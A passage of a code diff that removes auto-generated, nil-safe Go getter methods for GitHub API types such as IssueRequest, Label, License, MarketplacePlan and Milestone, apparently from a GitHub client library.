*IssueEvent) GetURL() string { - if i == nil || i.URL == nil { - return "" - } - return *i.URL -} - -// GetDirection returns the Direction field if it's non-nil, zero value otherwise. -func (i *IssueListCommentsOptions) GetDirection() string { - if i == nil || i.Direction == nil { - return "" - } - return *i.Direction -} - -// GetSince returns the Since field if it's non-nil, zero value otherwise. -func (i *IssueListCommentsOptions) GetSince() time.Time { - if i == nil || i.Since == nil { - return time.Time{} - } - return *i.Since -} - -// GetSort returns the Sort field if it's non-nil, zero value otherwise. -func (i *IssueListCommentsOptions) GetSort() string { - if i == nil || i.Sort == nil { - return "" - } - return *i.Sort -} - -// GetAssignee returns the Assignee field if it's non-nil, zero value otherwise. -func (i *IssueRequest) GetAssignee() string { - if i == nil || i.Assignee == nil { - return "" - } - return *i.Assignee -} - -// GetAssignees returns the Assignees field if it's non-nil, zero value otherwise. -func (i *IssueRequest) GetAssignees() []string { - if i == nil || i.Assignees == nil { - return nil - } - return *i.Assignees -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (i *IssueRequest) GetBody() string { - if i == nil || i.Body == nil { - return "" - } - return *i.Body -} - -// GetLabels returns the Labels field if it's non-nil, zero value otherwise. -func (i *IssueRequest) GetLabels() []string { - if i == nil || i.Labels == nil { - return nil - } - return *i.Labels -} - -// GetMilestone returns the Milestone field if it's non-nil, zero value otherwise. -func (i *IssueRequest) GetMilestone() int { - if i == nil || i.Milestone == nil { - return 0 - } - return *i.Milestone -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (i *IssueRequest) GetState() string { - if i == nil || i.State == nil { - return "" - } - return *i.State -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (i *IssueRequest) GetTitle() string { - if i == nil || i.Title == nil { - return "" - } - return *i.Title -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (i *IssuesEvent) GetAction() string { - if i == nil || i.Action == nil { - return "" - } - return *i.Action -} - -// GetAssignee returns the Assignee field. -func (i *IssuesEvent) GetAssignee() *User { - if i == nil { - return nil - } - return i.Assignee -} - -// GetChanges returns the Changes field. -func (i *IssuesEvent) GetChanges() *EditChange { - if i == nil { - return nil - } - return i.Changes -} - -// GetInstallation returns the Installation field. -func (i *IssuesEvent) GetInstallation() *Installation { - if i == nil { - return nil - } - return i.Installation -} - -// GetIssue returns the Issue field. -func (i *IssuesEvent) GetIssue() *Issue { - if i == nil { - return nil - } - return i.Issue -} - -// GetLabel returns the Label field. -func (i *IssuesEvent) GetLabel() *Label { - if i == nil { - return nil - } - return i.Label -} - -// GetRepo returns the Repo field. -func (i *IssuesEvent) GetRepo() *Repository { - if i == nil { - return nil - } - return i.Repo -} - -// GetSender returns the Sender field. -func (i *IssuesEvent) GetSender() *User { - if i == nil { - return nil - } - return i.Sender -} - -// GetIncompleteResults returns the IncompleteResults field if it's non-nil, zero value otherwise. -func (i *IssuesSearchResult) GetIncompleteResults() bool { - if i == nil || i.IncompleteResults == nil { - return false - } - return *i.IncompleteResults -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (i *IssuesSearchResult) GetTotal() int { - if i == nil || i.Total == nil { - return 0 - } - return *i.Total -} - -// GetClosedIssues returns the ClosedIssues field if it's non-nil, zero value otherwise. -func (i *IssueStats) GetClosedIssues() int { - if i == nil || i.ClosedIssues == nil { - return 0 - } - return *i.ClosedIssues -} - -// GetOpenIssues returns the OpenIssues field if it's non-nil, zero value otherwise. -func (i *IssueStats) GetOpenIssues() int { - if i == nil || i.OpenIssues == nil { - return 0 - } - return *i.OpenIssues -} - -// GetTotalIssues returns the TotalIssues field if it's non-nil, zero value otherwise. -func (i *IssueStats) GetTotalIssues() int { - if i == nil || i.TotalIssues == nil { - return 0 - } - return *i.TotalIssues -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (k *Key) GetCreatedAt() Timestamp { - if k == nil || k.CreatedAt == nil { - return Timestamp{} - } - return *k.CreatedAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (k *Key) GetID() int64 { - if k == nil || k.ID == nil { - return 0 - } - return *k.ID -} - -// GetKey returns the Key field if it's non-nil, zero value otherwise. -func (k *Key) GetKey() string { - if k == nil || k.Key == nil { - return "" - } - return *k.Key -} - -// GetReadOnly returns the ReadOnly field if it's non-nil, zero value otherwise. -func (k *Key) GetReadOnly() bool { - if k == nil || k.ReadOnly == nil { - return false - } - return *k.ReadOnly -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (k *Key) GetTitle() string { - if k == nil || k.Title == nil { - return "" - } - return *k.Title -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (k *Key) GetURL() string { - if k == nil || k.URL == nil { - return "" - } - return *k.URL -} - -// GetColor returns the Color field if it's non-nil, zero value otherwise. -func (l *Label) GetColor() string { - if l == nil || l.Color == nil { - return "" - } - return *l.Color -} - -// GetDefault returns the Default field if it's non-nil, zero value otherwise. -func (l *Label) GetDefault() bool { - if l == nil || l.Default == nil { - return false - } - return *l.Default -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (l *Label) GetDescription() string { - if l == nil || l.Description == nil { - return "" - } - return *l.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (l *Label) GetID() int64 { - if l == nil || l.ID == nil { - return 0 - } - return *l.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (l *Label) GetName() string { - if l == nil || l.Name == nil { - return "" - } - return *l.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (l *Label) GetNodeID() string { - if l == nil || l.NodeID == nil { - return "" - } - return *l.NodeID -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (l *Label) GetURL() string { - if l == nil || l.URL == nil { - return "" - } - return *l.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (l *LabelEvent) GetAction() string { - if l == nil || l.Action == nil { - return "" - } - return *l.Action -} - -// GetChanges returns the Changes field. -func (l *LabelEvent) GetChanges() *EditChange { - if l == nil { - return nil - } - return l.Changes -} - -// GetInstallation returns the Installation field. -func (l *LabelEvent) GetInstallation() *Installation { - if l == nil { - return nil - } - return l.Installation -} - -// GetLabel returns the Label field. -func (l *LabelEvent) GetLabel() *Label { - if l == nil { - return nil - } - return l.Label -} - -// GetOrg returns the Org field. -func (l *LabelEvent) GetOrg() *Organization { - if l == nil { - return nil - } - return l.Org -} - -// GetRepo returns the Repo field. -func (l *LabelEvent) GetRepo() *Repository { - if l == nil { - return nil - } - return l.Repo -} - -// GetColor returns the Color field if it's non-nil, zero value otherwise. -func (l *LabelResult) GetColor() string { - if l == nil || l.Color == nil { - return "" - } - return *l.Color -} - -// GetDefault returns the Default field if it's non-nil, zero value otherwise. -func (l *LabelResult) GetDefault() bool { - if l == nil || l.Default == nil { - return false - } - return *l.Default -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (l *LabelResult) GetDescription() string { - if l == nil || l.Description == nil { - return "" - } - return *l.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (l *LabelResult) GetID() int64 { - if l == nil || l.ID == nil { - return 0 - } - return *l.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (l *LabelResult) GetName() string { - if l == nil || l.Name == nil { - return "" - } - return *l.Name -} - -// GetScore returns the Score field. -func (l *LabelResult) GetScore() *float64 { - if l == nil { - return nil - } - return l.Score -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (l *LabelResult) GetURL() string { - if l == nil || l.URL == nil { - return "" - } - return *l.URL -} - -// GetIncompleteResults returns the IncompleteResults field if it's non-nil, zero value otherwise. -func (l *LabelsSearchResult) GetIncompleteResults() bool { - if l == nil || l.IncompleteResults == nil { - return false - } - return *l.IncompleteResults -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (l *LabelsSearchResult) GetTotal() int { - if l == nil || l.Total == nil { - return 0 - } - return *l.Total -} - -// GetOID returns the OID field if it's non-nil, zero value otherwise. -func (l *LargeFile) GetOID() string { - if l == nil || l.OID == nil { - return "" - } - return *l.OID -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (l *LargeFile) GetPath() string { - if l == nil || l.Path == nil { - return "" - } - return *l.Path -} - -// GetRefName returns the RefName field if it's non-nil, zero value otherwise. -func (l *LargeFile) GetRefName() string { - if l == nil || l.RefName == nil { - return "" - } - return *l.RefName -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (l *LargeFile) GetSize() int { - if l == nil || l.Size == nil { - return 0 - } - return *l.Size -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (l *License) GetBody() string { - if l == nil || l.Body == nil { - return "" - } - return *l.Body -} - -// GetConditions returns the Conditions field if it's non-nil, zero value otherwise. -func (l *License) GetConditions() []string { - if l == nil || l.Conditions == nil { - return nil - } - return *l.Conditions -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (l *License) GetDescription() string { - if l == nil || l.Description == nil { - return "" - } - return *l.Description -} - -// GetFeatured returns the Featured field if it's non-nil, zero value otherwise. -func (l *License) GetFeatured() bool { - if l == nil || l.Featured == nil { - return false - } - return *l.Featured -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (l *License) GetHTMLURL() string { - if l == nil || l.HTMLURL == nil { - return "" - } - return *l.HTMLURL -} - -// GetImplementation returns the Implementation field if it's non-nil, zero value otherwise. -func (l *License) GetImplementation() string { - if l == nil || l.Implementation == nil { - return "" - } - return *l.Implementation -} - -// GetKey returns the Key field if it's non-nil, zero value otherwise. -func (l *License) GetKey() string { - if l == nil || l.Key == nil { - return "" - } - return *l.Key -} - -// GetLimitations returns the Limitations field if it's non-nil, zero value otherwise. -func (l *License) GetLimitations() []string { - if l == nil || l.Limitations == nil { - return nil - } - return *l.Limitations -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (l *License) GetName() string { - if l == nil || l.Name == nil { - return "" - } - return *l.Name -} - -// GetPermissions returns the Permissions field if it's non-nil, zero value otherwise. -func (l *License) GetPermissions() []string { - if l == nil || l.Permissions == nil { - return nil - } - return *l.Permissions -} - -// GetSPDXID returns the SPDXID field if it's non-nil, zero value otherwise. -func (l *License) GetSPDXID() string { - if l == nil || l.SPDXID == nil { - return "" - } - return *l.SPDXID -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (l *License) GetURL() string { - if l == nil || l.URL == nil { - return "" - } - return *l.URL -} - -// GetCheckName returns the CheckName field if it's non-nil, zero value otherwise. -func (l *ListCheckRunsOptions) GetCheckName() string { - if l == nil || l.CheckName == nil { - return "" - } - return *l.CheckName -} - -// GetFilter returns the Filter field if it's non-nil, zero value otherwise. -func (l *ListCheckRunsOptions) GetFilter() string { - if l == nil || l.Filter == nil { - return "" - } - return *l.Filter -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (l *ListCheckRunsOptions) GetStatus() string { - if l == nil || l.Status == nil { - return "" - } - return *l.Status -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (l *ListCheckRunsResults) GetTotal() int { - if l == nil || l.Total == nil { - return 0 - } - return *l.Total -} - -// GetAppID returns the AppID field if it's non-nil, zero value otherwise. -func (l *ListCheckSuiteOptions) GetAppID() int { - if l == nil || l.AppID == nil { - return 0 - } - return *l.AppID -} - -// GetCheckName returns the CheckName field if it's non-nil, zero value otherwise. -func (l *ListCheckSuiteOptions) GetCheckName() string { - if l == nil || l.CheckName == nil { - return "" - } - return *l.CheckName -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (l *ListCheckSuiteResults) GetTotal() int { - if l == nil || l.Total == nil { - return 0 - } - return *l.Total -} - -// GetAffiliation returns the Affiliation field if it's non-nil, zero value otherwise. -func (l *ListCollaboratorOptions) GetAffiliation() string { - if l == nil || l.Affiliation == nil { - return "" - } - return *l.Affiliation -} - -// GetEffectiveDate returns the EffectiveDate field if it's non-nil, zero value otherwise. -func (m *MarketplacePendingChange) GetEffectiveDate() Timestamp { - if m == nil || m.EffectiveDate == nil { - return Timestamp{} - } - return *m.EffectiveDate -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (m *MarketplacePendingChange) GetID() int64 { - if m == nil || m.ID == nil { - return 0 - } - return *m.ID -} - -// GetPlan returns the Plan field. -func (m *MarketplacePendingChange) GetPlan() *MarketplacePlan { - if m == nil { - return nil - } - return m.Plan -} - -// GetUnitCount returns the UnitCount field if it's non-nil, zero value otherwise. -func (m *MarketplacePendingChange) GetUnitCount() int { - if m == nil || m.UnitCount == nil { - return 0 - } - return *m.UnitCount -} - -// GetAccountsURL returns the AccountsURL field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetAccountsURL() string { - if m == nil || m.AccountsURL == nil { - return "" - } - return *m.AccountsURL -} - -// GetBullets returns the Bullets field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetBullets() []string { - if m == nil || m.Bullets == nil { - return nil - } - return *m.Bullets -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetDescription() string { - if m == nil || m.Description == nil { - return "" - } - return *m.Description -} - -// GetHasFreeTrial returns the HasFreeTrial field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetHasFreeTrial() bool { - if m == nil || m.HasFreeTrial == nil { - return false - } - return *m.HasFreeTrial -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetID() int64 { - if m == nil || m.ID == nil { - return 0 - } - return *m.ID -} - -// GetMonthlyPriceInCents returns the MonthlyPriceInCents field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetMonthlyPriceInCents() int { - if m == nil || m.MonthlyPriceInCents == nil { - return 0 - } - return *m.MonthlyPriceInCents -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetName() string { - if m == nil || m.Name == nil { - return "" - } - return *m.Name -} - -// GetPriceModel returns the PriceModel field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetPriceModel() string { - if m == nil || m.PriceModel == nil { - return "" - } - return *m.PriceModel -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetState() string { - if m == nil || m.State == nil { - return "" - } - return *m.State -} - -// GetUnitName returns the UnitName field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetUnitName() string { - if m == nil || m.UnitName == nil { - return "" - } - return *m.UnitName -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetURL() string { - if m == nil || m.URL == nil { - return "" - } - return *m.URL -} - -// GetYearlyPriceInCents returns the YearlyPriceInCents field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetYearlyPriceInCents() int { - if m == nil || m.YearlyPriceInCents == nil { - return 0 - } - return *m.YearlyPriceInCents -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (m *MarketplacePlanAccount) GetEmail() string { - if m == nil || m.Email == nil { - return "" - } - return *m.Email -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (m *MarketplacePlanAccount) GetID() int64 { - if m == nil || m.ID == nil { - return 0 - } - return *m.ID -} - -// GetLogin returns the Login field if it's non-nil, zero value otherwise. -func (m *MarketplacePlanAccount) GetLogin() string { - if m == nil || m.Login == nil { - return "" - } - return *m.Login -} - -// GetMarketplacePendingChange returns the MarketplacePendingChange field. -func (m *MarketplacePlanAccount) GetMarketplacePendingChange() *MarketplacePendingChange { - if m == nil { - return nil - } - return m.MarketplacePendingChange -} - -// GetMarketplacePurchase returns the MarketplacePurchase field. -func (m *MarketplacePlanAccount) GetMarketplacePurchase() *MarketplacePurchase { - if m == nil { - return nil - } - return m.MarketplacePurchase -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (m *MarketplacePlanAccount) GetNodeID() string { - if m == nil || m.NodeID == nil { - return "" - } - return *m.NodeID -} - -// GetOrganizationBillingEmail returns the OrganizationBillingEmail field if it's non-nil, zero value otherwise. -func (m *MarketplacePlanAccount) GetOrganizationBillingEmail() string { - if m == nil || m.OrganizationBillingEmail == nil { - return "" - } - return *m.OrganizationBillingEmail -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (m *MarketplacePlanAccount) GetType() string { - if m == nil || m.Type == nil { - return "" - } - return *m.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (m *MarketplacePlanAccount) GetURL() string { - if m == nil || m.URL == nil { - return "" - } - return *m.URL -} - -// GetAccount returns the Account field. -func (m *MarketplacePurchase) GetAccount() *MarketplacePlanAccount { - if m == nil { - return nil - } - return m.Account -} - -// GetBillingCycle returns the BillingCycle field if it's non-nil, zero value otherwise. -func (m *MarketplacePurchase) GetBillingCycle() string { - if m == nil || m.BillingCycle == nil { - return "" - } - return *m.BillingCycle -} - -// GetFreeTrialEndsOn returns the FreeTrialEndsOn field if it's non-nil, zero value otherwise. -func (m *MarketplacePurchase) GetFreeTrialEndsOn() Timestamp { - if m == nil || m.FreeTrialEndsOn == nil { - return Timestamp{} - } - return *m.FreeTrialEndsOn -} - -// GetNextBillingDate returns the NextBillingDate field if it's non-nil, zero value otherwise. -func (m *MarketplacePurchase) GetNextBillingDate() Timestamp { - if m == nil || m.NextBillingDate == nil { - return Timestamp{} - } - return *m.NextBillingDate -} - -// GetOnFreeTrial returns the OnFreeTrial field if it's non-nil, zero value otherwise. -func (m *MarketplacePurchase) GetOnFreeTrial() bool { - if m == nil || m.OnFreeTrial == nil { - return false - } - return *m.OnFreeTrial -} - -// GetPlan returns the Plan field. -func (m *MarketplacePurchase) GetPlan() *MarketplacePlan { - if m == nil { - return nil - } - return m.Plan -} - -// GetUnitCount returns the UnitCount field if it's non-nil, zero value otherwise. -func (m *MarketplacePurchase) GetUnitCount() int { - if m == nil || m.UnitCount == nil { - return 0 - } - return *m.UnitCount -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (m *MarketplacePurchaseEvent) GetAction() string { - if m == nil || m.Action == nil { - return "" - } - return *m.Action -} - -// GetEffectiveDate returns the EffectiveDate field if it's non-nil, zero value otherwise. -func (m *MarketplacePurchaseEvent) GetEffectiveDate() Timestamp { - if m == nil || m.EffectiveDate == nil { - return Timestamp{} - } - return *m.EffectiveDate -} - -// GetInstallation returns the Installation field. -func (m *MarketplacePurchaseEvent) GetInstallation() *Installation { - if m == nil { - return nil - } - return m.Installation -} - -// GetMarketplacePurchase returns the MarketplacePurchase field. -func (m *MarketplacePurchaseEvent) GetMarketplacePurchase() *MarketplacePurchase { - if m == nil { - return nil - } - return m.MarketplacePurchase -} - -// GetPreviousMarketplacePurchase returns the PreviousMarketplacePurchase field. -func (m *MarketplacePurchaseEvent) GetPreviousMarketplacePurchase() *MarketplacePurchase { - if m == nil { - return nil - } - return m.PreviousMarketplacePurchase -} - -// GetSender returns the Sender field. -func (m *MarketplacePurchaseEvent) GetSender() *User { - if m == nil { - return nil - } - return m.Sender -} - -// GetText returns the Text field if it's non-nil, zero value otherwise. -func (m *Match) GetText() string { - if m == nil || m.Text == nil { - return "" - } - return *m.Text -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (m *MemberEvent) GetAction() string { - if m == nil || m.Action == nil { - return "" - } - return *m.Action -} - -// GetInstallation returns the Installation field. -func (m *MemberEvent) GetInstallation() *Installation { - if m == nil { - return nil - } - return m.Installation -} - -// GetMember returns the Member field. -func (m *MemberEvent) GetMember() *User { - if m == nil { - return nil - } - return m.Member -} - -// GetRepo returns the Repo field. -func (m *MemberEvent) GetRepo() *Repository { - if m == nil { - return nil - } - return m.Repo -} - -// GetSender returns the Sender field. -func (m *MemberEvent) GetSender() *User { - if m == nil { - return nil - } - return m.Sender -} - -// GetOrganization returns the Organization field. -func (m *Membership) GetOrganization() *Organization { - if m == nil { - return nil - } - return m.Organization -} - -// GetOrganizationURL returns the OrganizationURL field if it's non-nil, zero value otherwise. -func (m *Membership) GetOrganizationURL() string { - if m == nil || m.OrganizationURL == nil { - return "" - } - return *m.OrganizationURL -} - -// GetRole returns the Role field if it's non-nil, zero value otherwise. -func (m *Membership) GetRole() string { - if m == nil || m.Role == nil { - return "" - } - return *m.Role -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (m *Membership) GetState() string { - if m == nil || m.State == nil { - return "" - } - return *m.State -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (m *Membership) GetURL() string { - if m == nil || m.URL == nil { - return "" - } - return *m.URL -} - -// GetUser returns the User field. -func (m *Membership) GetUser() *User { - if m == nil { - return nil - } - return m.User -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (m *MembershipEvent) GetAction() string { - if m == nil || m.Action == nil { - return "" - } - return *m.Action -} - -// GetInstallation returns the Installation field. -func (m *MembershipEvent) GetInstallation() *Installation { - if m == nil { - return nil - } - return m.Installation -} - -// GetMember returns the Member field. -func (m *MembershipEvent) GetMember() *User { - if m == nil { - return nil - } - return m.Member -} - -// GetOrg returns the Org field. -func (m *MembershipEvent) GetOrg() *Organization { - if m == nil { - return nil - } - return m.Org -} - -// GetScope returns the Scope field if it's non-nil, zero value otherwise. -func (m *MembershipEvent) GetScope() string { - if m == nil || m.Scope == nil { - return "" - } - return *m.Scope -} - -// GetSender returns the Sender field. -func (m *MembershipEvent) GetSender() *User { - if m == nil { - return nil - } - return m.Sender -} - -// GetTeam returns the Team field. -func (m *MembershipEvent) GetTeam() *Team { - if m == nil { - return nil - } - return m.Team -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (m *MetaEvent) GetAction() string { - if m == nil || m.Action == nil { - return "" - } - return *m.Action -} - -// GetHook returns the Hook field. -func (m *MetaEvent) GetHook() *Hook { - if m == nil { - return nil - } - return m.Hook -} - -// GetHookID returns the HookID field if it's non-nil, zero value otherwise. -func (m *MetaEvent) GetHookID() int64 { - if m == nil || m.HookID == nil { - return 0 - } - return *m.HookID -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (m *Metric) GetHTMLURL() string { - if m == nil || m.HTMLURL == nil { - return "" - } - return *m.HTMLURL -} - -// GetKey returns the Key field if it's non-nil, zero value otherwise. -func (m *Metric) GetKey() string { - if m == nil || m.Key == nil { - return "" - } - return *m.Key -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (m *Metric) GetName() string { - if m == nil || m.Name == nil { - return "" - } - return *m.Name -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (m *Metric) GetURL() string { - if m == nil || m.URL == nil { - return "" - } - return *m.URL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (m *Migration) GetCreatedAt() string { - if m == nil || m.CreatedAt == nil { - return "" - } - return *m.CreatedAt -} - -// GetExcludeAttachments returns the ExcludeAttachments field if it's non-nil, zero value otherwise. -func (m *Migration) GetExcludeAttachments() bool { - if m == nil || m.ExcludeAttachments == nil { - return false - } - return *m.ExcludeAttachments -} - -// GetGUID returns the GUID field if it's non-nil, zero value otherwise. -func (m *Migration) GetGUID() string { - if m == nil || m.GUID == nil { - return "" - } - return *m.GUID -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (m *Migration) GetID() int64 { - if m == nil || m.ID == nil { - return 0 - } - return *m.ID -} - -// GetLockRepositories returns the LockRepositories field if it's non-nil, zero value otherwise. -func (m *Migration) GetLockRepositories() bool { - if m == nil || m.LockRepositories == nil { - return false - } - return *m.LockRepositories -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (m *Migration) GetState() string { - if m == nil || m.State == nil { - return "" - } - return *m.State -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (m *Migration) GetUpdatedAt() string { - if m == nil || m.UpdatedAt == nil { - return "" - } - return *m.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (m *Migration) GetURL() string { - if m == nil || m.URL == nil { - return "" - } - return *m.URL -} - -// GetClosedAt returns the ClosedAt field if it's non-nil, zero value otherwise. -func (m *Milestone) GetClosedAt() time.Time { - if m == nil || m.ClosedAt == nil { - return time.Time{} - } - return *m.ClosedAt -} - -// GetClosedIssues returns the ClosedIssues field if it's non-nil, zero value otherwise. -func (m *Milestone) GetClosedIssues() int { - if m == nil || m.ClosedIssues == nil { - return 0 - } - return *m.ClosedIssues -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (m *Milestone) GetCreatedAt() time.Time { - if m == nil || m.CreatedAt == nil { - return time.Time{} - } - return *m.CreatedAt -} - -// GetCreator returns the Creator field. -func (m *Milestone) GetCreator() *User { - if m == nil { - return nil - } - return m.Creator -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (m *Milestone) GetDescription() string { - if m == nil || m.Description == nil { - return "" - } - return *m.Description -} - -// GetDueOn returns the DueOn field if it's non-nil, zero value otherwise. -func (m *Milestone) GetDueOn() time.Time { - if m == nil || m.DueOn == nil { - return time.Time{} - } - return *m.DueOn -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (m *Milestone) GetHTMLURL() string { - if m == nil || m.HTMLURL == nil { - return "" - } - return *m.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (m *Milestone) GetID() int64 { - if m == nil || m.ID == nil { - return 0 - } - return *m.ID -} - -// GetLabelsURL returns the LabelsURL field if it's non-nil, zero value otherwise. -func (m *Milestone) GetLabelsURL() string { - if m == nil || m.LabelsURL == nil { - return "" - } - return *m.LabelsURL -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (m *Milestone) GetNodeID() string { - if m == nil || m.NodeID == nil { - return "" - } - return *m.NodeID -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (m *Milestone) GetNumber() int { - if m == nil || m.Number == nil { - return 0 - } - return *m.Number -} - -// GetOpenIssues returns the OpenIssues field if it's non-nil, zero value otherwise. -func (m *Milestone) GetOpenIssues() int { - if m == nil || m.OpenIssues == nil { - return 0 - } - return *m.OpenIssues -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (m *Milestone) GetState() string { - if m == nil || m.State == nil { - return "" - } - return *m.State -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (m *Milestone) GetTitle() string { - if m == nil || m.Title == nil { - return "" - } - return *m.Title -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (m *Milestone) GetUpdatedAt() time.Time { - if m == nil || m.UpdatedAt == nil { - return time.Time{} - } - return *m.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (m *Milestone) GetURL() string { - if m == nil || m.URL == nil { - return "" - } - return *m.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (m *MilestoneEvent) GetAction() string { - if m == nil || m.Action == nil { - return "" - } - return *m.Action -} - -// GetChanges returns the Changes field. -func (m *MilestoneEvent) GetChanges() *EditChange { - if m == nil { - return nil - } - return m.Changes -} - -// GetInstallation returns the Installation field. -func (m *MilestoneEvent) GetInstallation() *Installation { - if m == nil { - return nil - } - return m.Installation -} - -// GetMilestone returns the Milestone field. -func (m *MilestoneEvent) GetMilestone() *Milestone { - if m == nil { - return nil - } - return m.Milestone -} - -// GetOrg returns the Org field. -func (m *MilestoneEvent) GetOrg() *Organization { - if m == nil { - return nil - } - return m.Org -} - -// GetRepo returns the Repo field. -func (m *MilestoneEvent) GetRepo() *Repository { - if m == nil { - return nil - } - return m.Repo -} - -// GetSender returns the Sender field. -func (m *MilestoneEvent) GetSender() *User { - if m == nil { - return nil - } - return m.Sender -} - -// GetClosedMilestones returns the ClosedMilestones field if it's non-nil, zero value otherwise. -func (m *MilestoneStats) GetClosedMilestones() int { - if m == nil || m.ClosedMilestones == nil { - return 0 - } - return *m.ClosedMilestones -} - -// GetOpenMilestones returns the OpenMilestones field if it's non-nil, zero value otherwise. -func (m *MilestoneStats) GetOpenMilestones() int { - if m == nil || m.OpenMilestones == nil { - return 0 - } - return *m.OpenMilestones -} - -// GetTotalMilestones returns the TotalMilestones field if it's non-nil, zero value otherwise. -func (m *MilestoneStats) GetTotalMilestones() int { - if m == nil || m.TotalMilestones == nil { - return 0 - } - return *m.TotalMilestones -} - -// GetBase returns the Base field if it's non-nil, zero value otherwise. -func (n *NewPullRequest) GetBase() string { - if n == nil || n.Base == nil { - return "" - } - return *n.Base -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (n *NewPullRequest) GetBody() string { - if n == nil || n.Body == nil { - return "" - } - return *n.Body -} - -// GetDraft returns the Draft field if it's non-nil, zero value otherwise. -func (n *NewPullRequest) GetDraft() bool { - if n == nil || n.Draft == nil { - return false - } - return *n.Draft -} - -// GetHead returns the Head field if it's non-nil, zero value otherwise. -func (n *NewPullRequest) GetHead() string { - if n == nil || n.Head == nil { - return "" - } - return *n.Head -} - -// GetIssue returns the Issue field if it's non-nil, zero value otherwise. -func (n *NewPullRequest) GetIssue() int { - if n == nil || n.Issue == nil { - return 0 - } - return *n.Issue -} - -// GetMaintainerCanModify returns the MaintainerCanModify field if it's non-nil, zero value otherwise. -func (n *NewPullRequest) GetMaintainerCanModify() bool { - if n == nil || n.MaintainerCanModify == nil { - return false - } - return *n.MaintainerCanModify -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (n *NewPullRequest) GetTitle() string { - if n == nil || n.Title == nil { - return "" - } - return *n.Title -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (n *NewTeam) GetDescription() string { - if n == nil || n.Description == nil { - return "" - } - return *n.Description -} - -// GetLDAPDN returns the LDAPDN field if it's non-nil, zero value otherwise. -func (n *NewTeam) 